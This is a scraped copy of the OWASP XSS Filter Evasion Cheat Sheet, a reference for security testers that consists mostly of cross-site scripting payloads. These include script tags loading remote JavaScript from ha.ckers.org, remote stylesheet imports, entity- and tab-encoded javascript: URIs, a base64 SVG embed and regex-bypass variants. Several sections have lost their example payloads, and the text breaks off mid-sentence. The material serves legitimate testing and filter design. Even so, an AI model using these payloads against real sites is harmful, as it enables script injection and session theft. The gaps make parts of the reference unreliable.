XSS Filter Evasion Cheat Sheet

= Introduction =

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born.

= Tests for modern browsers (As of March 12th, 2014) =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. All of these tests work on the latest browsers as of March 12th, 2014. (ie. Firefox 27.0.1, Safari 7.0.2, Chrome 33.0.1750.146, Opera 20, Internet Explorer 11)

No Filter Evasion
This is a normal XSS JavaScript injection and the most likely to be filtered but is best to try first. (the quotes are not required in any modern browser so they are omitted here):

&lt;SCRIPT SRC=http:&#47;&#47;ha.ckers.org&#47;xss.js&gt;&lt;/SCRIPT&gt;

BODY Tag
Method doesn't require using any variants of "javascript:" or "

Default SRC Tag
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross edited by Abdullah Hussam. This results in a broken image icon on all browsers but will execute the javascript if hovered over, except for IE 6-11 which the user needs to click on the broken image icon for it to work.



Extraneous Open Brackets
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: <alert("XSS");//<

FRAME
Frames have the same sorts of XSS problems as iframes 

IFRAMEs
If iframes are allowed there are a lot of other XSS problems as well: 

IFRAME Event Handlers
IFRAMEs and most other elements can use event handlers like the following... (Submitted by: David Cross) 

Image Masquerading
Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector: 

Malformed A Tags
Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross. On Internet Explorer 6-11 you need to click on the link for it to work.

xxs link

or without quotes

xxs link</a>

Malformed IMG Tags
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

&lt;IMG """>alert("XSS")</SCRIPT>">

Non-alpha-non-digit
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Onerror Alert
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))">

Quote Encapsulation
For performing XSS on sites that allow "" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i": <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow  tags but not remote script is a state machine (and of course there are other ways to get around this if they allow  tags): <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly: <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

= Partial Browser Tests = These tests only work on specific browsers.

Default SRC tag by leaving it out entirely (IE 6-11)
On IE 6 it results in a broken image icon but executes when hovered over. It still works on IE 11 but there is no visible broken image icon so this could possibly be a stealthy attack. IE 7-10 was not tested but this does not work on any other browser besides IE. <IMG onmouseover="alert('xxs')">

META (Safari/IE 6)
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. This works on the latest Safari as well as IE 6.

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

XSS in an embedded SVG (Safari, Chrome, Opera, Firefox. Not IE)
This works on everything except IE. Thanks to nEUrOO for this one. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

= Deprecated Tests (Works on IE 6 and older browsers) =

These are the tests that have only been confirmed to work on IE 6 unless specified otherwise and do not work on any modern browsers as of March 12th, 2014.

Image XSS using the JavaScript directive
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

No quotes and no semicolon
<IMG SRC=javascript:alert('XSS')>

Case insensitive XSS attack vector
<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML entities
The semicolons are required for this to work:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Grave accent obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: &lt;IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

fromCharCode
if no quotes of any kind are allowed you can eval a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Hexadecimal HTML character references without trailing semicolons
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Embedded tab
Used to break up the cross site scripting attack:

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Embedded Encoded tab
Use this one to break up XSS : <IMG SRC="jav&amp;#x09;ascript:alert('XSS');">

Embedded newline to break up XSS
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<IMG SRC="jav&amp;#x0A;ascript:alert('XSS');">

Null breaks up JavaScript directive
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC=" &#14; javascript:alert('XSS');">

INPUT image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image
<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

VBscript in an image
<IMG SRC='vbscript:msgbox("XSS")'>

STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Remote style sheet
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

Remote style sheet part 2
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Remote style sheet part 3
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

Remote style sheet part 4
This only works in old Gecko rendering engines and works by binding an XUL file to the parent page. I